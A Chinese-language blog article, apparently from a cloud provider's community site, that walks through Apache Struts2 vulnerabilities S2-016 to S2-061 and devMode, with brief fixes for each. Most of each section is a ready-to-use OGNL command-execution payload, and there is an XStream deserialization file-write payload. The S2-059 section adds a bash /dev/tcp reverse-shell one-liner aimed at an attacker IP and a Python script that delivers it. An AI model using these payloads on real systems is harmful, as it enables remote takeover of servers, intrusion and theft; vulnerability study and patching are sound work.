Struts2漏洞总结(下)

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
简介: Struts2漏洞总结

S2-016


在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令

检测是否存在


index.action?redirect:%24%7B11121%2B2111%7D

成功解析了url编码${11121+2111}后的代码  相加13232

640.png

命令执行


index.action?redirect:%24%7b%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2c%23f.setAccessible(true)%2c%23f.set(%23_memberAccess%2ctrue)%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%22cat+etc/passwd%22).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b5000%5d%2c%23c.read(%23d)%2c%23genxor%3d%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2c%23genxor.println(%23d)%2c%23genxor.flush()%2c%23genxor.close()%7d

下载后进行查看执行命令后的结果

640.png

修复方案

修改Ognl.jar源码,增加恶意代码过滤

s2-032


S2-032漏洞的影响范围是Struts 2.3.20 - Struts Struts 2.3.28,当开启了动态方法调用时可RCE。这次的漏洞分析以及后面的漏洞分析都是使用的Struts 2.3.24。在我们的第一篇文章中就讲过invokeAction方法是真正执行action中方法的地方,而低版本中式通过反射的方法来执行的,高版本中式通过Ognl表达式执行的,所以这次的S2-032并不影响低版本的Struts2

命令执行


index.action?method:%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse()%2c%23w%3d%23res.getWriter()%2c%23s%3dnew+java.util.Scanner(%40java.lang.Runtime%40getRuntime().exec(%23parameters.cmd%5b0%5d).getInputStream())%2c%23str%3d%23s.hasNext()%3f%23s.next()%3a%23xx%2c%23w.print(%23str)%2c%23w.close()%2c1%3f%23xx%3a%23request.toString&cmd=whoami

640.png

成功执行了whoami命令

修复方案

禁用动态方法调用:

修改 Struts2 的配置文件,将“struts.enable.DynamicMethodInvocation” 设置为false,如

<constant name=”struts.enable.DynamicMethodInvocation”value=”false”/>


S2-033


当开启动态方法调用,并且同时使用了Strut2 REST Plugin插件时,使用“!”操作符调用动态方法可能执行ognl表达式,导致代码执行。

下载并部署容器



docker pull medicean/vulapps:s_struts2_s2-033docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-033

命令执行


orders/4/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id

640.png


执行了id命令,command=后面输入要执行的命令

修复方案

如果使用受影响的版本,在允许的情况下禁用动态方法调用(Dynamic Method Invocation),修改Struts2的配置文件struts.xml,

struts.enable.DynamicMethodInvocation设置为“false”


S2-037


S2-037是S2-033的一个绕过,不需要开启动态方法调用就可以进行rce。RestActionMapper类的getmapping比DefaultActionMapper中多了后面一部分,也就是rest插件支持actionName/id/methodName这种方式解析uri,且并不用开启动态方法调用。
命令执行

需要url编码


/orders/3/#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=whoami

编码后


/orders/3/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=whoami

640.png

成功执行了whoami命令  command=后面输入要执行的参数

修复方案

更新Struts2版本


S2-045

利用Struts2的上传功能代码里的非正常处理函数代码,没有正确的去处理访问客户输入的错误内容。导致黑客可以通过输入那里发送恶意的POST数据包,利用这个漏洞在windows 2003 2008 2012服务器跟Linux centos系统服务器上执行系统权限命令

检测是否存在


%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}

burp抓包,修改Content-Type的值为上面代码,返回包里出现 88866777说明漏洞存在


640.png

命令执行

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

执行了ls命令返回了当前目录的文件

640.png

修复方案

此次 S2-045 漏洞触发点为Content-TypeHTTP头字段,故此可以添加action拦截器,过滤非法请求


S2-046


S2-046和S2-045的爆发点是一样的,只是输入点有些不同,利用方式上不一样
触发条件

1. 上传文件的大小(由Content-Length头指定)大于Struts2默认允许的最大大小(2M)。

2. header中的Content-Disposition中包含空字节。

3. 文件名内容构造恶意的OGNL内容。

4. 输入点在文件上传的filename值位置,并需要使用\x00截断

检测是否存在

更改filename后为


"%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"

640.png

在hex里找到b之前一个符号,使用00截断,返回包里返回值54289说明漏洞存在


640.png

命令执行

post数据包

    POST /doUpload.action HTTP/1.1Host: localhost:8080Content-Length: 1000000000Cache-Control: max-age=0Origin: http://localhost:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Referer: http://localhost:8080/doUploadAccept-Language: en-US,en;q=0.8,es;q=0.6Connection: close
    ------WebKitFormBoundaryXd004BVJN9pBYBL2Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"Content-Type: text/plain
    foo------WebKitFormBoundaryXd004BVJN9pBYBL2--

    data数据包


    "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

    640.png

    将b前面一个字符00截断,将b是62,将62前面的20进行00截断

    640.png

    执行了ls命令返回了当前目录的文件,与s2-045类似

    修复方案

    可以在Struts2配置文件中关闭动态方法调用来避免漏洞被利用


    s2-048

    在Struts 2.3.x 版本上的Showcase 插件ActionMessage类中,通过构建不可信的输入可实现远程命令攻击。漏洞成因是当ActionMessage接收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行

    检测是否存在

    /integration/saveGangster.action名称里输入${1+1}

    640.png

    提交后返回了2说明漏洞存在

    640.png

    命令执行

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname  -a').getInputStream())).(#q)}

    Gangster Name里输入上述代码

    640.png

    修复方案

    避免使用Apache struts2-struts1-plugin这个插件。非必要的情况下可以将Apache struts2-struts1-plugin-2.3.x.jar文件从 “/WEB-INF/lib”目录中直接删除。如果使用该插件时避免使用拼接的方式将原始消息直接传递给ActionMessage


    S2-052


    Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击

    任意文件写入

    由于漏洞环境没有计算机,所以在tmp目录下创建一个success文件

      <map>  <entry>    <jdk.nashorn.internal.objects.NativeString>      <flags>0</flags>      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">        <dataHandler>          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">            <is class="javax.crypto.CipherInputStream">              <cipher class="javax.crypto.NullCipher">                <initialized>false</initialized>                <opmode>0</opmode>                <serviceIterator class="javax.imageio.spi.FilterIterator">                  <iter class="javax.imageio.spi.FilterIterator">                    <iter class="java.util.Collections$EmptyIterator"/>                    <next class="java.lang.ProcessBuilder">                      <command>                        <string>touch</string>                        <string>/tmp/success</string>                      </command>                      <redirectErrorStream>false</redirectErrorStream>                    </next>                  </iter>                  <filter class="javax.imageio.ImageIO$ContainsFilter">                    <method>                      <class>java.lang.ProcessBuilder</class>                      <name>start</name>                      <parameter-types/>                    </method>                    <name>foo</name>                  </filter>                  <next class="string">foo</next>                </serviceIterator>                <lock/>              </cipher>              <input class="java.lang.ProcessBuilder$NullInputStream"/>              <ibuffer></ibuffer>              <done>false</done>              <ostart>0</ostart>              <ofinish>0</ofinish>              <closed>false</closed>            </is>            <consumed>false</consumed>          </dataSource>          <transferFlavors/>        </dataHandler>        <dataLen>0</dataLen>      </value>    </jdk.nashorn.internal.objects.NativeString>    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>  </entry>  <entry>    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  </entry></map>

      进入容器:docker exec -it  ID号 /bin/bash查看tmp目录下的文件

      640.png

      只有一个sperfdata_root文件

      到编辑页面,,burp抓包进行修改

      640.png

      640.png


      修改Content-Type格式为application/xml(xml格式)返回500,创建成功

      进入容器查看 ,在tmp目录下成功创建了success文件

      640.png

      修复方案

      1、业务需要使用反序列化操作时,尽量避免反序列化数据由外部输入,这样可避免被恶意用户控制

      2、更新org.codehaus.groovy等第三方依赖库版本,已公开的关于xstream反序列化漏洞利用方式是通过Groovy的漏洞CVE-2015-3253,只要Groovy版本在1.7.0至2.4.3之间都受影响。所以建议修复本漏洞的同时也更新groovy等依赖库的版本


      S2-053


      Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞

      检测是否存在


      /hello?redirectUri=%25%7B1054444-3%7D

      640.png

      页面里有返回值1054441说明漏洞存在

      命令执行


      /hello?redirectUri=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D%0D%0A

       640.png


      成功执行了whoami命令

      修复方案

      1、Freemarker标签内容不要通过Request方式获取

      2、使用只读属性来初始化value属性(仅限getter属性)

      3、不要使用如下结构



      <@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />


      S2-057


      S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去

      检测是否存在


      /struts2-showcase/$%7B233*233%7D/actionChain1.action

      输入后在url中返回54289说明漏洞存在


      640.png
      命令执行

      /struts2-showcase/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action

      f046832cb7a1233edc15101cc0e609dc.png

      修复方案

      排查所有Struts 2的配置文件,如struts.xml,为没有定义namespace命名空间的package节点添加命名空间配置


      S2-059


      Apache Struts2使用某些标签时,会对标签属性值进行二次表达式解析,当标签属性值使用了%{skillName}并且skillName的值用户可以控制,就会造成OGNL表达式执行
      检测是否存在

      ?id=%25{88*88}

      在执行后,源代码中如果存在7744说明漏洞存在

      65c9ef8884c196e08241d48d34ddc86e.png

      反弹shell

      反弹shell的payload需要使用base64编码


      bash -i >& /dev/tcp/攻击机IP/6666 0>&1

      base64编码网址:

      http://www.jackson-t.ca/runtime-exec-payloads.html

      0bce51cedec0a4381a4522419d5eeaf1.png

      kali上开启nc监听 6666端口

      7fdd10fa4b24f96f72c300fc954f7b01.png

        import requests
        url = "http://192.168.3.134:8080"shell_base64=input('输入反弹bash:')
        data1 = {
        "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
        }
        data2 = {
        "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('"+shell_base64+"'))}"
        }
        res1 = requests.post(url, data=data1)
        res2 = requests.post(url, data=data2)

        9b6da66e9a6dbb3134e599d3c2bea065.png

        成功反弹获得shell

        修复方案

        1、升级到Struts 2.5.22或更高版本。

        2、开启ONGL表达式注入保护措施


        S2-061



        Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大
        检测漏洞是否存在

        ?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

        在源代码中发现test2020  ,说明漏洞存在

        3b1649c9c63646bd4217e9b5521c7848.png


        命令执行


        ?id=%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27whoami%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d


        3842dbf5dd8a7c6fe22278d9347fa47a.png

        查看源代码,执行了命令

        a12ae7a7b5f619b7dd771d8c55e63d0d.png

        修复方案

        避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。建议受影响的用户将Apache Struts框架升级至最新版本

        临时修复,升级到 Struts 2.5.26 版本,下载地址为:

        https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26


        S2-devMode


        当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。如果WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等

          docker拉取镜像docker pull medicean/vulapps:s_struts2_s2-devmode启动漏洞环境docker run -d -p 8080:8080 medicean/vulapps:s_struts2_s2-devmode

          检测漏洞是否存在


          /orders/?debug=command&expression=(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter())!%3D(%23wr.println(%23parameters.content%5B0%5D))!%3D(%23wr.flush())!%3D(%23wr.close())&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=Adlabgsrc

          页面返回了Adlabgsrc说明漏洞存在

          5f97c3650b5e807c36cebf9db21e68c8.png

          命令执行


          ?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id


          86a3273c6fa7aee758cca6f348e7607f.png

          修复方案

          关闭devMode:在struts.xml 设置
          <constant name="struts.devMode" value="false" />

          相关实践学习
          使用ROS创建VPC和VSwitch
          本场景主要介绍如何利用阿里云资源编排服务,定义资源编排模板,实现自动化创建阿里云专有网络和交换机。
          阿里云资源编排ROS使用教程
          资源编排(Resource Orchestration)是一种简单易用的云计算资源管理和自动化运维服务。用户通过模板描述多个云计算资源的依赖关系、配置等,并自动完成所有资源的创建和配置,以达到自动化部署、运维等目的。编排模板同时也是一种标准化的资源和应用交付方式,并且可以随时编辑修改,使基础设施即代码(Infrastructure as Code)成为可能。 产品详情:https://www.aliyun.com/product/ros/
          相关文章
          |
          Web App开发 移动开发 安全
          Struts2 S2-062 (CVE-2021-31805) 远程代码执行漏洞
          Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。
          182 1
          |
          XML SQL 安全
          Struts2 漏洞集合
          Struts2 漏洞集合
          |
          安全 算法 Oracle
          【WEB安全】Apache Shiro 反序列化漏洞(上)
          Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。
          738 0
          【WEB安全】Apache Shiro 反序列化漏洞(上)
          |
          3月前
          |
          安全 Java 网络安全
          Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
          Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
          Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
          |
          安全 前端开发 Java
          struts2-046 远程代码执行 (CVE-2017-5638)
          struts2-046 远程代码执行 (CVE-2017-5638)
          592 0
          struts2-046 远程代码执行 (CVE-2017-5638)
          |
          存储 安全 前端开发
          springboot下xss漏洞的修复
          还有很多修复方式,比如可以利用springcloud gateway进行过滤,但是主要应用本身也要进行加固,网关只能过滤外部威胁
          643 0
          |
          安全 前端开发 Java
          最新!Apache Struts 又爆安全漏洞(危害程度特别大)
          最新!Apache Struts 又爆安全漏洞(危害程度特别大)
          348 0
          |
          XML 安全 网络协议
          WEB常见漏洞之XXE(靶场篇)
          WEB常见漏洞之XXE(靶场篇)
          1031 0
          |
          设计模式 安全 前端开发